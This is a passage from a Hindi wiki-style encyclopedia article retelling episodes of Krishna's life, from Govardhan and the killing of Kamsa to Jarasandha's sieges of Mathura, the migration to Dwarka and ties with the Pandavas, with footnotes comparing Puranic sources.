और बलराम ने इन्द्र की पूजा का विरोध किया तथा गोवर्धन (धरती माँ, जो अन्न और जल देती है) की पूजा का अवलोकन किया। इस प्रकार एक ओर कृष्ण ने इन्द्र के काल्पनिक महत्त्व को बढ़ाने का कार्य किया, दूसरी और बलदेव ने हल लेकर खेती में वृद्धि के साधनों को खोज निकाला। पुराणों में कथा है कि इस पर इन्द्र क्रुद्ध हो गया और उसने इतनी अत्यधिक वर्षा की कि हाहाकार मच गया। किन्तु कृष्ण ने बुद्धि-कौशल के गिरि द्वारा [[गोपी|गोप-गोपिकाओं]], गौओं आदि की रक्षा की। इस प्रकार इन्द्र-पूजा के स्थान पर अब [[गोवर्धन पूजा]] की स्थापना की गई।<ref>हरि (72-76) तथा पद्म0 ``(372,181-217) में इन्द्र द्वारा सात दिन तक घोर वृष्टि,करने का उल्लेख मिलता है। ब्रह्म पुराण (180), विष्णु0 (10,1-12,56) तथा हरिवंश के अनुसार वर्षा शांत होने पर इन्द्र ऐरावत पर चढ़कर क्षमा माँगने के लिए कृष्ण के पास आये। भाग के अनुसार इन्द्र गुप्त रूप से कृष्ण से मिले; उन्हें अन्य गोपी ने नहीं
 
देखा। वह कृष्ण को प्रसन्न करने के लिए स्वर्ग से मुरली साथ लेकर आये-भाग0 (37)। गोवर्धन-पूजा के बाद भागवत (28,1-10) में यह घटना वर्णित है कि एक दिन नंद को जब वे नदी में स्नान कर हे थे, वरुण के दूत अपने लोक को ले गये। कृष्ण ने वहाँ जाकर नंद को छुड़ाया और इसके बाद गोपों को बैंकुण्ठ-लोक के दर्शन कराये।</ref>
 
 
 
====रास====
 
कृष्ण के प्रति ब्रजवासियों का बड़ा स्नेह था। गोपियाँ तो विशेष रूप उनके सौंदर्य तथा साहस पूर्ण कार्यों पर मुग्ध थीं। प्राचीन पुराणों के अनुसार [[शरद पूर्णिमा]] की एक सुहावनी रात को गोपियों ने कृष्ण के साथ मिलकर नृत्य-गान किया। इसका नाम [[रासलीला|रास]] प्रसिद्ध हुआ।,<ref>हरि. 77; ब्रह्म0 189, 1-45; विष्णु. 13; भाग. 29-33। परवर्ती पुराणों में रास या महारास का विस्तार से कथन मिलता है। पद्म (72, 158-180) तथा ब्रह्मवैवर्त (28-53) में तो रास के सहारे काम-क्रीड़ा का विस्तृत वर्णन किया गया है। ब्रह्म वै. के वर्णन में राधा तथा असंख्य सखियों का भी अतिशयोक्तिपूर्ण आलेखन किया गया है। वस्तुत: एक सीधीसादी घटना को संस्कृत एवं भाषा के परवर्ती भक्त कवियों ने बहुत बढ़ा-चढ़ा कर वर्णित किया है।
 
भाग. पु. (34) रासक्रीड़ा के तत्काल बाद दो और घटनाओं का समावेश करता है-(1) आम्बिका-वन में सरस्वती नदी के किनारे सोते नंद की अजगर से रक्षा और (2) उसी रात कुबेर-किंकर शंखचूड़ का वध।</ref>धीरे-धीरे यह प्रथा एक नैमित्तिक उत्सव बन गया, जिसमें गोपी-ग्वाल सभी सम्मिलित होते थे। सभंवत: रात में इस प्रकार के मनोविनोंदों और खेलकूदों को इस हेतु भी प्रचारित किया गया कि जिससे रात में भी सजग रह कर कंस के उन षड्यंत्रों से बचा जा सके जो आये दिन गोकुल में हुआ करते थे।
 
====धनुर्याग====
 
इस प्रकार ब्रज तथा उसके निवासियों पर संकट आये और चले गये। आपत्तिग्रस्त जंगलों और कुण्डों को भी कृष्ण ने अपनी शक्ति और चातुर्य से निष्कंटक बना दिया। अभी तक जितनी घटनाएँ घटी उनमें पूतना के संबंध में ही पुराणों में स्पष्ट संकेत मिलता है कि वह कंस की भेजी हुई थी। अन्य सब घटनाएं आकस्मिक या दैवी प्रतीत होती है, संभवत: उनमें कंस का विशेष हाथ न था। इन घटनाओं के संबंध में दूसरी बात ध्यान देने की यह है कि प्रारंभिक पुराणों-हरिवंश, वायु, ब्रह्म-में कृष्ण के साथ कम चामत्कारिक घटनाओं का संबंध है और बाद के पुराणों यथा भागवत, पद्म और ब्रह्मवैवर्त-में क्रमश: इन घटनाओं में वृद्धि हुई है। केवल घटनाओं की संख्या में ही वृद्धि नहीं हुई, प्राचीन पुराणों की कथाओं को भी परवर्ती पुराणों में बहुत घटा बढ़ा कर कहा गया है। बारहवीं शती के बाद के संस्कृत एवं भाषा साहित्य में तो ये बातें और भी प्रचुर मात्रा में मिलती हैं।
 
[[चित्र:Radha-Krishna-3.jpg|thumb|left|[[राधा]]-कृष्ण]]
 
====धनुर्याग और अक्रूर का ब्रज-आगमन====
 
कृष्ण बचपन में ही कई आकस्मिक दुर्धटनाओं का सामना करने तथा कंस के षड्यंत्रों को विफल करने के कारण बहुत लोक-प्रिय हो गये थे। सारे ब्रज में इस छोटे वीर बालक के प्रति विशेष महत्त्व पैदा हो गया। किन्तु दूसरी ओर मथुरा पति कंस कृष्ण की इस ख्याति से घबरा रहा था और समझ रहा था कि एक दिन अपने ऊपर भी सकंट आ सकता है।
 
 
 
साम्राज्यवादी कंस ने अन्त में कूटनीति की शरण ली और दानपति [[अक्रूर]] के द्वारा धनुर्याग के बहाने कृष्ण-बलराम को मथुरा बुलाने का विचार किया। अक्रूर अपने समय में [[वृष्णि संघ|अंधक-वृष्णि संघ]] के एक वर्ग का प्रसिद्ध नेता था। संभवत: वह बहुत ही कुशल और व्यावहारिक-ज्ञान-सम्पन्न पुरुष था। कंस को उस समय ऐसे ही एक ही एक चतुर और विश्वस्त व्यक्ति की आवश्यकता थी।
 
 
 
कंस ने पहले [[रंगेश्वर महादेव मथुरा|धनुर्याग]] की तैयारी कर ली और फिर अक्रुर को गोकुल भेजा।<ref>हरिवंश 79; ब्रह्म. 190, 1-21; विष्णु. 15, 1-24; भाग. 36, 16,16-34 आदि। हरिवंश के अनुसार कंस ने [[अक्रूर]] को भेजने के पहले वसुदेव को बुरा-भला कहा और उन्हें ही अपने और कृष्ण के बीच वैमनस्य उत्पन्न करने वाला कहा । ब्रह्म0 और विष्णु के अनुसार कंस ने अकूर को छोड़ कर सभी यादवों के वध की प्रतिज्ञा की।</ref> अक्रूर के कुछ पूर्व केशी कृष्ण के वधार्थ ब्रज पहुँच चुका था, परंतु कृष्ण ने उसे भी मार डाला।<ref>हरिवंश के वर्णन से प्रतीत होता है कि [[केशी]] कंस का परम प्रिय भाई या मित्र था। केशी के मारने से कृष्ण का नाम `केशव' हुआ। पुराणों के अनुसार केशी घोड़े का रूप बना कर कृष्ण को मारने गया था-ब्रह्म0 190,22-48, भाग0 37, 1-25; विष्णु. 16, 1-28।</ref>
 
 
 
====कृष्ण का मथुरा-गमन====
 
एक दिन सन्ध्या समय कृष्ण ने समाचार पाया कि अक्रुर उन्हें लेने वृन्दावन आये है। कृष्ण ने निर्भीक होकर अक्रुर से भेंट की और उन्हें नंद के पास ले गये। यहाँ अक्रूर ने कंस का धनुर्याग-संदेश सुनाकर कहा--``राजा ने आपको गोपों और बच्चों सहित यह मेला देखने बुलाया है``। अक्रूर दूसरे दिन सवेरे बलदेव और कृष्ण को लेकर मथुरा के लिए चले।<ref> हरिवंश 82; ब्रह्म. 191-92; विष्णु. 17, 1-19, 9; भागवत 31, 1-41; ब्रह्म्वै. 70, 1-72।
 
हरिवंश के अतिरिक्त अन्य पुराणों में आया है कि ब्रज की गोपियाँ कृष्ण को मथुरा न जाने देना चाहती थीं। उन्होंने अक्रूर का विरोध भी किया और रथ को रोक लिया। ब्रह्मवैवर्त में गोपियों की वियोग-व्यथा विस्तार से वर्णित है। ब्रज भाषा, बंगला तथा गुजराती के अनेक कवियों ने इस करुण प्रसंग का मार्मिक वर्णन किया है।</ref> नंद संभवत: बच्चों को न भेजते, किन्तु अक्रूर ने नंद को समझाया कि कृष्ण का यह कर्तव्य है कि वह अपने माता-पिता वसुदेव और देवकी से मिलें और उनका कष्ट दूर करें। नंद अब भला कैसे रोकते ? मथुरा पहुंचने पर नीतिवान अक्रूर ने प्रथम ही माता-पिता से बच्चों को मिलाना उचित नहीं समझा। इसका कारण बताते हुए उन्होंने कहा कि इससे कंस भड़क जायगा और बना-बनाया काम बिगड़ जायगा। वे सन्ध्या समय मथुरा पहुंचे थे, अक्रूर दोनों भाइयों को पहले अपने घर ले गये।
 
{{दाँयाबक्सा|पाठ='''महाभारत शांति पर्व अध्याय-82:'''
 
 
 
कृष्ण:-
 
 
 
हे देवर्षि ! जैसे अग्नि को प्रकट करने की इच्छा वाला पुरुष अरणीकाष्ठ का मन्थन करता है, उसी प्रकार इन कुटुम्बी-जनों का कटुवचन मेरे हृदय को सदा मथता और जलाता रहता है।  ॥6॥
 
 
 
हे नारद ! बड़े भाई बलराम सदा बल से, गद सुकुमारता से और प्रद्युम्न रूप से मतवाले हुए है; इससे इन सहायकों के होते हुए भी मैं असहाय हुआ हूँ। ॥7॥|विचारक=}}
 
ये वीर बालक सन्ध्या समय मथुरा नगरी की शोभा देखने के लोभ का संवरण न कर सके। पहली बार उन्होंने इतना बड़ा नगर देखा था। वे मुख्य सड़कों से होते हुए नगर की शोभा देखने लगे।
 
 
 
====कंस-वध====
 
कृष्ण-बलराम का नाम मथुरा में पहले से ही प्रसिद्ध हो चुका था। उनके द्वारा नगर में प्रवेश करते ही एक विचित्र कोलाहल पैदा हो गया। जिन लोगों ने उनका विरोध किया वे इन बालकों द्वारा दंडित किये गये। ऐसे मथुरावासियों की संख्या कम न थी जो प्रत्यक्ष या अप्रत्यक्ष रूप से कृष्ण के प्रति सहानुभूति रखते थे। इनमें कंस के अनेक भृत्य भी थे, जैसे सुदाभ या गुणक नामक माली, [[कुब्जा दासी]] आदि।
 
[[चित्र:Krishna-Balarama.jpg|thumb|left|[[कंस]]-वध]]
 
कंस के शस्त्रागार में भी कृष्ण पहुंच गये<ref>ज्ञात होता है कि कृष्ण ने शस्त्रागार में जानबूझ कर गड़बड़ी की, जिससे उनके पक्ष वालों को कंस के विरुद्ध युद्ध करने को हथियार मिल जाये। पुराणकारों ने तो इतना ही लिखा है कि धनुष तोड़ कर वे आगे बढ़े।</ref>और वहाँ के रक्षक को समाप्त कर दिया। इतना करने के बाद कृष्ण-बलराम ने रात में संभवत: अक्रूर के घर विश्राम किया। अन्य पुराणों में यह बात निश्चित रूप से ज्ञात नहीं हो पाती कि दोनों भाइयों ने रात कहाँ बिताई।<ref> पद्म पुराण (272, 331-393) के अनुसार यह रात दोनों भाइयों ने अपने सहयोगियों सहित रंगमंच पर ही बिताई। ब्र0 वै0 (अ0 12) के अनुसार नंद और कृष्ण आदि रात में कुविंद नामक एक वैष्णव के यहाँ रहे । </ref> कंस ने ये उपद्रवपूर्ण बातें सुनी। उसने चाणूर और मुष्टिक नामक अपने पहलवानों को कृष्ण-बलराम के वध के लिए सिखा-पढ़ा दिया। शायद कंस ने यह भी सोचा कि उन्हें रंग भवन में घुसने से पूर्व ही क्यों न हाथी द्वारा कुचलवा दिया जाय, क्योंकि भीतर घुसने पर वे न जाने कैसा वातावरण उपस्थित कर दें। प्रात: होते ही दोनों भाई धनुर्याग का दृश्य देखने राजभवन में घुसे। ठीक उसी समय पूर्व योजनानुसार कुवलय नामक राज्य के एक भयंकर हाथी ने उन पर प्रहार किया। दोनों भाइयों ने इस संकट को दूर किया। भीतर जाकर कृष्ण चाणूर से और बलराम मुष्टिक से भिड़ गये। इन दोनों पहलवानों को समाप्त कर कृष्ण ने तोसलक नामक एक अन्य योद्धा को भी मारा। कंस के शेष योद्धाओं में आतंक छा जाने और भगदड़ मचने के लिए इतना कृत्य यथेष्ट था। इसी कोलाहल में कृष्ण ऊपर बैठे हुए कंस पर झपटे और उसको भी कुछ समय बाद परलोक पहुँचा दिया। इस भीषण कांड के समय कंस के सुनाम नामक भृत्य ने कंस को बचाने की चेष्टा की। किन्तु बलराम ने उसे बीच में ही रोक उसका वध कर डाला। <ref>भागवत में कूट और शल योद्धाओं तथा कंस के आठ भाइयों (कंक, न्यग्रोधक आदि) के मारे जाने का भी उल्लेख है।
 
कंस के इस प्रकार मारे जाने पर कुछ लोगों ने हाहाकार भी किया-<br />
 
'ततो हाहाकृर्त सर्वमासीत्तद्रङमंडलम् ।<br />
 
अवज्ञया हतं दृष्ट्वा कृष्णेन मथुरेशवरम् ।।' (विष्णु पु. 5, 20, 91)
 
 
 
तथा- 'हाहेति शब्द: सुमहांस्तदाSभूदुदीरित: सर्वजनैर्नरेन्द्र ।' (भागवत 10,44,38)<br />
 
हो सकता है कि मथुरेश कंस की इस प्रकार मृत्यु देखकर तथा उसकी रानियों और परिजनों का हाहाकार (हरिवंश अ0 88) सुनकर दर्शकों में कुछ समय के लिए बड़ी बेचैनी पैदा हो गई हो ।</ref>
 
 
 
अपना कार्य पूरा करने के उपरांत दोनो भाई सर्वप्रथम अपने माता-पिता से मिले। वसुदेव और देवकी इतने समय बाद अपने प्यारे बच्चों से मिल कर हर्ष-गदगद हो गये। इस प्रकार माता-पिता का कष्ट दूर करने के बाद कृष्ण ने कंस के पिता [[उग्रसेन राजा|उग्रसेन]] को, जो अंधकों के नेता थे, पुन: अपने पद पर प्रतिष्ठित किया। समस्त संघ चाहता था कि कृष्ण नेता हों, किन्तु कृष्ण ने उग्रसेन से कहा:-
 
 
 
"मैनें कंस को सिंहासन के लिए नहीं मारा है। आप यादवों के नेता हैं । अत: सिंहासन पर बैठें।" <ref>हरि0 87, 52। sS</ref> मालूम होता है कि इस पर भी कृष्ण से विशेष अनुरोध किया गया, तब उन्होंने नीतिपूर्वक ययाति के शाप का स्मरण दिलाकर सिंहासन-त्याग की बात कही।<ref>"ययाति शापाद्वं शोSयमराज्यार्ह Sपि साम्प्रतम् ।<br />
 
मयि भृत्ये स्थिते देव नाज्ञापयतु किं नृपै: ।।" (विष्णु0 5,21,120</ref> इस प्रकार कृष्ण ने त्याग और दूर-दर्शिता का महान आदर्श उपस्थित किया।
 
 
 
==संस्कार==
 
[[चित्र:Krishna-Birth-Place-Mathura-7.jpg|thumb|250px|[[कृष्ण जन्माष्टमी]] के अवसर पर श्रद्धालुओं की भीड़, [[कृष्ण जन्मभूमि]], [[मथुरा]]]]
 
कंस-वध तक कृष्ण का जीवन एक प्रकार से अज्ञातवास में व्यतीत हुआ। एक ओर कंस का आतंक था तो दूसरी ओर आकस्मिक आपत्तियों का कष्ट। अब इनसे छुटकारा मिलने पर उनके विद्याध्ययन की बात चली। वैसे तो वे दोनो भाई प्रतिभावान्, नीतिज्ञ तथा साहसी थे, परन्तु राजत्य-पंरपरा के अनुसार शास्त्रानुकूल संस्कार एवं शिक्षा-प्राप्ति आवश्यक थी। इसके लिए उन्हें गुरु के आश्रम में भेजा गया। वहाँ पहुँच कर कृष्ण-बलराम ने विधिवत् दीक्षा ली<ref> हरिवंश में कृष्ण-बलराम के यज्ञोपवीत का कोई उल्लेख नहीं है, पर शिक्षा से पहले उसका विधान है। उनका विद्यारंभ संभवत: [[गोकुल]] में हुआ। बाद के पुराणों-जैसे पद्म (273, 1-5), ब्रह्मवैवर्त (99 -102) और भागवत (45, 26-50) में यज्ञोपवीत का वर्णन है। इनके अनुसार गर्गाचार्य ने उन्हें गायत्री-मन्त्र का उपदेश दिया। सांदीपनि के आश्रम में ये चौंसठ दिनों तक रहे। इतने दिनों में वे [[गुरुकुल]] की प्रथा का पालन करते हुए धनुर्विद्या में ही विशेश शिक्षा प्राप्त कर सके होंगे। उनकी अवस्था अब बढ़ चली थी, क्योंकि हरिवंश के अनुसार अब वे युवा (`प्राप्त यौवनदेह:') थे। देवी भागवत (24,25) के अनुसार सांदीपनि के यहाँ से लौटने पर उनकी अवस्था केवल बारह वर्ष की थी।</ref>  और अन्य शास्त्रों के साथ धनुर्विद्या में विशेष दक्षता प्राप्त की। वहीं उनकी [[सुदामा]] ब्राह्मण से भेंट हुई, जो उनका गुरु-भाई हुआ। [[जरासंध]] की मथुरा पर चढ़ाई कंस की मृत्यु का समाचार पाकर मगध-नरेश जरासंध बहुत-कुद्ध हो गया। वह कंस का श्वसुर था। जरासंध अपने समय का महान् साम्राज्यवादी और क्रूर शासक था। उसने कितने ही छोटे-मोटे राजाओं का राज्य हड़प कर उन राजाओं को बंदी बना लिया था। जरासंध ने कंस को अपनी लड़कियाँ संभवत: इसीलिए ब्याही थी जिससे कि पश्चिमी प्रदेशों में भी उसकी धाक बनी रहे और उधर गणराज्य की शक्ति कमज़ोर पड़-जाय। कंस की प्रकृति भी जरासंध से बहुत मिलती-जुलती थी। शायद जरासंध के बल पर ही बैठा था। अपने जामातृ और सहायक का इस प्रकार वध होते देख जरासंध का कुद्ध होना स्वाभाविक ही था। अब उसने शूरसेन जनपद पर चढ़ाई करने का पक्का विचार कर लिया। [[शूरसेन]] और [[मगध]] के बीच युद्ध का विशेष महत्त्व है, इसीलिए हरिवंश आदि पुराणों में इसका वर्णन विस्तार से मिलता है।
 
==जरासंध की पहली चढ़ाई==
 
जरासंध ने पूरे दल-बल के साथ शूरसेन जनपद पर चढ़ाई की। पौराणिक वर्णनों के अनुसार उसके सहायक कारूप का राजा दंतवक, चेदिराज, [[शिशुपाल]], कलिंगपति पौंड्र, भीष्मक पुत्र [[रुक्मी]], काय अंशुमान तथा [[अंग महाजनपद|अंग]], [[बंगाल|बंग]], [[कोषल]], [[दषार्ण]], [[भद्र]], [[त्रिगर्त]] आदि के राजा थे। [[चित्र:Krishna-Mandapam.jpg|thumb|250px|[[गोवर्धन]] पर्वत उठाते हुए कृष्ण]] इनके अतिरिक्त शाल्वराज, पवनदेश का राजा भगदत्त, सौवीरराज [[गंधार]] का राजा सुबल नग्नजित् का मीर का राजा गोभर्द, [[दरद देश|दरद]] का राजा तथा कौरवराज [[दुर्योधन]] आदि भी उसके सहायक थे। [[मगध]] की विशाल सेना ने मथुरा पहुँच कर नगर के चारों फाटकों को घेर लिया।<ref> हरिवंश (अ0 91)। पुराणों में यद्यपि अनेक देश के राजाओं का उल्लेख हुआ है, पर यह कहना कठिन है कि वास्तव में किन-किन राजाओं ने जरासंध की पहली मथुरा की चढ़ाई में उसकी सहायता की और अपनी सेनाएं इस निमित्त भेजीं। भागवत् के अनुसार जरासंघ की सेना 23 अक्षौहिणी थी; हरिवंश 20 अक्षौहिणी तथ पद्म 100 अक्षोहिणी बताता है।</ref>  सत्ताईस दिनों तक जरासंध मथुरा नगर को घेरे पड़ा रहा, पर वह मथुरा का अभेद्य दुर्ग न जीत सका। संभवत: समय से पहले ही खाद्य-सामग्री के समाप्त हो जाने के कारण उसे निराश होकर मगध लौटना पड़ा। दूसरी बार जरासंध पूरी तैयारी से शूरसेन पहुँचा। यादवों ने अपनी सेना इधर-उधर फैला दी। युवक बलराम ने जरासंध का अच्छा मुक़ाबला किया। लुका-छिपी के युद्ध द्वारा यादवों ने मगध-सैन्य को बहुत छकाया। श्रीकृष्ण जानते थे कि यादव सेना की संख्या तथा शक्ति सीमित है और वह मगध की विशाल सेना का खुलकर सामना नहीं कर सकती। इसीलिए उन्होंने लुका-छिपी वाला आक्रमण ही उचित समझा। उसका फल यह हुआ कि जरासंध परेशान हो गया और हताश होकर ससैन्य लौट पड़ा।
 
[[पुराण|पुराणों]] के अनुसार जरासंध ने अठारह बार मथुरा पर चढ़ाई की। सत्रह बार यह असफल रहा। अंतिम चढ़ाई में उसने एक विदेशी शक्तिशाली शासक [[कालयवन]] को भी मथुरा पर आक्रमण करने के लिए प्रेरित किया। कृष्ण बलदेव को जब यह ज्ञात हुआ कि जरासंध और कालयवन विशाल फ़ौज लेकर आ रहे हैं तब उन्होंने मथुरा छोड़कर कहीं अन्यत्र चले जाना ही बेहतर समझा।<ref> हरिवंश और भागवत के अनुसार जब कृष्ण ने यह सुना कि एक ओर से जरासंध और दूसरी ओर से कालयवन बड़ी सेनाएँ लेकर शूरसेन जनपद आ रहे हैं, तो उन्होंने यादवों को मथुरा से [[द्वारका]] रवाना कर दिया और स्वयं बलराम के साथ गोमंत पर्वत पर चढ़ गये। जरासंध पहाड़ पर आग लगा कर तथा यह समझ कर कि दोनो जल मरे होंगे, लौट गया। दूसरी कथा के अनुसार कृष्ण सब लोगों को द्वारका भेज चुकने के बाद कालयवन को आता देख अकेले भगे। कालयवन ने इनका पीछा किया। कृष्ण उसे वहाँ तक ले गये जहाँ [[सूर्यवंश|सूर्यवंशी]] [[मुचुकुंद]] सो रहा था। मुचुकुंद को यह वर मिला था कि जो कोई उन्हें सोते से उठायेगा वह उनकी दृष्टि पड़ते ही भस्म हो जायगा। कृष्ण ने ऐसा किया कि [[कालयवन]] मुचुकुंद द्वारा भस्म कर दिया गया। (हरिवंश 100, 109; भागवत 50, 44,-52) आदि।</ref>
 
 
 
==महाभिनिष्क्रमण==
 
अब समस्या थी कि कहाँ जाया जाय? यादवों ने इस पर विचार कर निश्चय किया कि सौराष्ट्र की द्वारकापुरी में जाना चाहिए। यह स्थान पहले से ही यादवों का प्राचीन केन्द्र था और इसके आस-पास के भूभाग में यादव बड़ी संख्या में निवास करते थे। ब्रजवासी अपने प्यारे कृष्ण को न जाने देना चाहते थे और कृष्ण स्वयं भी [[ब्रज]] को क्यों छोड़ते? पर आपत्तिकाल में क्या नहीं किया जाता? कृष्ण ने मातृभूमि के वियोग में सहानुभूति प्रकट करते हुए ब्रजवासियों को कर्त्तव्य का ध्यान दिलाया और कहा-<br />
 
[[चित्र:Krishna-Birth-Place-Mathura-2.jpg|thumb|250px|left|[[कृष्ण जन्मभूमि]], [[मथुरा]]]]
 
'जरासंध के साथ हमारा विग्रह हो गया है दु:ख की बात है। उसके साधन प्रभूत है। उसके पास वाहन, पदाति और मित्र भी अनेक है। यह मथुरा छोटी जगह है और प्रबल शत्रु इसके दुर्ग को नष्ट करना चाहता है। हम लोग यहाँ संख्या में भी बहुत बढ़ गये हैं, इस कारण भी हमारा इधर-उधर फैलना आवश्यक है।'<br />
 
इस प्रकार पूर्व निश्चय के अनुसार [[उग्रसेन राजा|उग्रसेन]], कृष्ण, बलराम आदि के नेतृत्व में यादवों ने बहुत बड़ी संख्या में मथुरा से प्रयाण किया और [[सौराष्ट्र]] की नगरी द्वारावती में जाकर बस गये।<ref>[[महाभारत]] में यादवों के निष्क्रमण का समाचार श्रीकृष्ण के द्वारा युधिष्ठिर को इस प्रकार बताया गया है -<br />
 
'वयं चैव महाराज जरासंधभयात्तदा।'<br />
 
'मथुरां संपरित्यज्य गता द्वारवतीं पुरीम्।।' (महाभारत ,2, 13,65</ref> द्वारावती का जीर्णोद्वार किया गया और उससे बड़ी संख्या में नये मकानों का निर्माण हुआ।<ref> हरिवंश (अ. 113) में आया है कि शिल्पियों द्वारा प्राचीन नगरी का जीर्णोद्धार किया गया। विश्वकर्मा ने सुधर्मा सभा का निर्माण किया (अ. 116)। दे. देवीभागवत (24, 31)-
 
'शिल्पिभि: कारयामास जीणोद्धारम।'</ref> मथुरा के इतिहास में महाभिनिष्क्रमण की यह घटना बड़े महत्त्व की है। यद्यपि इसके पूर्व भी यह नगरी कम-से-कम दो बार ख़ाली की गई थी-पहली बार शत्रुध्न-विजय के उपरांत लवण के अनुयायिओं द्वारा और दूसरी बार कंस के अत्याचारों से ऊबे हुए यादवों द्वारा, पर जिस बड़े रूप में मथुरा इस तीसरे अवसर पर ख़ाली हुई वैसे वह पहले कभी नहीं हुई थी। इस निष्क्रमण के उपरांत मथुरा की आबादी बहुत कम रह गई होगी। [[कालयवन]] और [[जरासंध]] की सम्मिलित सेना ने नगरी को कितनी क्षति पहुँचाई, इसका सम्यक पता नहीं चलता। यह भी नहीं ज्ञात होता कि जरासंध ने अंतिम आक्रमण के फलस्वरूप मथुरा पर अपना अधिकार कर लेने के बाद शूरसेन जनपद के शासनार्थ अपनी ओर से किसी यादव को नियुक्त किया अथवा किसी अन्य को। परंतु जैसा कि [[महाभारत]] एवं [[पुराण|पुराणों]] से पता चलता है, कुछ समय बाद ही श्री कृष्ण ने बड़ी युक्ति के साथ [[पांडव|पांडवों]] की सहायता से जरासंध का वध करा दिया। अत: मथुरा पर जरासंध का आधिपत्य अधिक काल तक न रह सका।
 
 
 
==बलराम का पुन: ब्रज-आगमन==
 
[[चित्र:Baldev-Temple-1.jpg|[[बलदेव मन्दिर मथुरा|दाऊजी मन्दिर]], [[बलदेव]]|thumb]]
 
संभवत: उक्त महाभिनिष्क्रमण के बाद कृष्ण फिर कभी ब्रज न लौट सके। द्वारका में जीवन की जटिल समस्याओं में फंस कर भी कृष्ण ब्रजभूमि, [[नंद]]-यशोदा तथा साथ में खेले गोप-गोपियों को भूले नही। उन्हें ब्रज की सुधि प्राय: आया करती थी। अत: बलराम को उन्होंने भेजा कि वे वहाँ जाकर लोगों को सांत्वना दें। बलराम ब्रज में दो मास तक रहे। इस समय का उपयोग भी उन्होंने अच्छे ढंग से किया। वे कृषि-विद्या में निपुण थे। उन्होंने अपने कौशल से वृन्दावन से दूर बहने वाली यमुना में इस प्रकार से बाँध बांधा कि वह वृन्दावन के पास से होकर बहने लगी।<ref> पुराणों में इस घटना को यह रूप दिया गया है कि बलराम अपने हल से यमुना को अपनी ओर खींच लिया (देखिए ब्रह्म पुराण 197,2, 198,19; विष्णु पुराण 24,8; 25,19 भागवत पुराण अ. 65) परंतु हरिवंश पुराण (103) में स्पष्ट कहा है कि यमुना पहले दूर बहती थी, उसे बलराम द्वारा वहाँ से निकट लाया गया, जिससे यमुना वृन्दावन के खेतों के पास से बहने लगी। कई पुराणों में बलराम द्वारा गोकुल में अत्यधिक वारुणी-सेवन का भी उल्लेख है और लिखा है कि यहाँ रेवती से उनका विवाह हुआ। परंतु अन्य प्रमाणों के आधार पर बलराम का रेवती से विवाह द्वारका में हुआ।</ref>
 
 
 
==कृष्ण और पांडव==
 
द्वारका पहुँच कर कृष्ण ने वहाँ स्थायी रूप से निवास करने का विचार दृढ़ किया और आवश्यक व्यवस्था में लग गये। जब पंचाल के राजा [[द्रुपद]] द्वारा [[द्रौपदी]]-स्वयंवर तथा मध्य-भेद की बात चारों तरफ फैली तो कृष्ण भी उस स्वयंवर में गये। वहाँ उनकी बुआ के लड़के [[पांडव]] भी मौजूद थे। यही से पांडवों के साथ कृष्ण की घनिष्टता का आरंम्भ हुआ। पांडव [[अर्जुन]] ने मध्य भेद कर [[द्रौपदी]] को प्राप्त कर लिया और इस प्रकार अपनी धनुर्विद्या का कौशल अनेक देश के राजाओं के समक्ष प्रकट किया। इससे कृष्ण बहुत प्रसन्न हुए। अर्जुन के प्रति वे विशेष रूप से आकृष्ट हुए। वे पांडवों के साथ [[हस्तिनापुर]] लौटे। कुरुराज [[धृतराष्ट्र]] ने पांडवों को [[इन्द्रप्रस्थ]] के आस-पास का प्रदेश दिया था। पांडवों ने कृष्ण के [[द्वारका]]-संबंधी अनुभव का लाभ उठाया। [[चित्र:Gita-Krishna-1.jpg|thumb|left|कृष्ण और [[अर्जुन]]]] उनकी सहायता से उन्होंने जंगल के एक भाग को साफ़ करा कर [[इन्द्रप्रस्थ]] नगर को अच्छें ढंग से बसाया। इसक बाद कृष्ण द्वारका लौट गये। कृष्ण के द्वारका लौटने के कुछ समय बाद अर्जुन तीर्थयात्रा के लिए निकले। अनेक स्थानों में होते हुए वे [[प्रभास]] क्षेत्र पहुँचें। कृष्ण ने जब यह सुना तब वे प्रभास जाकर अपने प्रिय सखा अर्जुन को अपने साथ द्वारिका ले आये। यहाँ अर्जुन का बढ़ा स्वागत हुआ। उन दिनों [[रैवतक|रैवतक पर्वत]] पर यादवों का मेला लगता था। इस मेलें में अर्जुन भी कृष्ण के साथ गये। उन्होंने यहाँ [[सुभद्रा]] को देखा और उस पर मोहित हो गये। कृष्ण ने कहा-सुभद्रा मेरी बहिन है, पर यदि तुम उससे विवाह करना चाहते हो तो उसे यहाँ से हर कर ले जा सकते हो, क्यों कि वीर क्षत्रियों के द्वारा विवाह हेतु स्त्री का हरण निंद्य नहीं, बल्कि श्रेष्ठ माना जाता है।<ref>'प्रसह्म हरणं चापि क्षत्रियाणां प्रशस्यते।<br />
 
विवाहहेतु: शूराणमिति धर्मविदो बिदु: ।।' (महाभारत, [[आदि पर्व महाभारत]] 219,22</ref>
 
 
 
अर्जुन सुभद्रा को भगा ले चले। जब इसकी ख़बर यादवों को लगी तो उनमें बड़ी हलचल मच गई। सभापाल ने सूचना देकर सब गण-मुख्यों को सुधर्मा-भवन में बुलाया, जहाँ इस विषय पर बड़ा वाद-विवाद हुआ। बलराम अर्जुन के इस व्यवहार से अत्यन्त क्रुद्ध हो गये थे और उन्होंने प्रण किया कि वे इस अपमान का बदला अवश्य लेंगें। कृष्ण ने बड़ी कुशलता के साथ अर्जुन के कार्य का समर्थन किया। श्रीमान् कृष्ण ने निर्भीक होकर कहा कि अर्जुन ने क्षत्रियोचित कार्य ही किया है।<ref>उनका स्वयं का दृष्टान्त भी सामने था, क्योंकि वे विदर्भ-कन्या रुक्मिणी को भगा लाये थे और फिर उसके साथ विवाह किया था।</ref> कृष्ण के अकाट्य तर्कों के आगे किसी की न चली। उन्होंने सबको समझा-बुझाकर शांत किया। फिर वे बलराम तथा कुछ अन्य अंधक-वृष्णियों के साथ बड़ी धूमधाम से दहेज का सामान लेकर पांडवों के पास इंन्द्रप्रस्थ पहुँचे। अन्य लोग तो शीघ्र इन्द्रप्रस्थ से द्वारका लौट आये, किंतु कृष्ण कुछ समय वहाँ ठहर गये। इस बार पांडवों के राज्य के अंतर्गत [[खांडव वन]] नामक स्थान में भयंकर अग्निकांड हो गया, किंतु कृष्ण और अर्जुन के प्रयत्नों से अग्नि बुझा दी गई और वहाँ के निवासी मय तथा अन्य दानवों की रक्षा की जा सकी।<ref>ये दानव संभवत: इस भूभाग के आदिम निवासी थे। पुराणों तथा महाभारत से पता चलता है कि मय दानव वास्तु-कला में बहुत कुशल था और उसने पांडवों के लिए अनेक महल आदि बनाये। शायद इसी ने कृष्ण तथा पांडवों को अद्भुत 